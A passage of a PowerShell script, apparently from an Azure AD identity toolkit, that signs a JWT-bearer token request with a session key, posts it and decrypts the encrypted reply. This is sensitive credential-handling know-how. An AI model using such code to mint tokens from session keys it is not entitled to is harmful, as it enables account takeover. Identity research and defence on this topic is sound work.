$signedjwt = [AADTokenBroker]::CreateJWS($tenantid, $sessionKeyJwe, $payloadStr)
$body = @{
grant_type = "urn:ietf:params:oauth:grant-type:jwt-bearer"
request = $signedjwt
client_info = "1"
windows_api_version= "2.0.1"
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $body
$headerJwt = $response.Split('.')[0]
$headerJson = Base64Decode($headerJwt)
$ctx = (ConvertFrom-Json $headerJson).ctx
$iv = $response.Split('.')[2]
$cipherText = $response.Split('.')[3]
$text = [AADTokenBroker]::DecryptWithSessionkey($tenantid, $sessionKeyJwe.Split('.')[1], $ctx, $iv, $cipherText)
return (ConvertFrom-Json $text)
}
else
{
return $response
}
}
}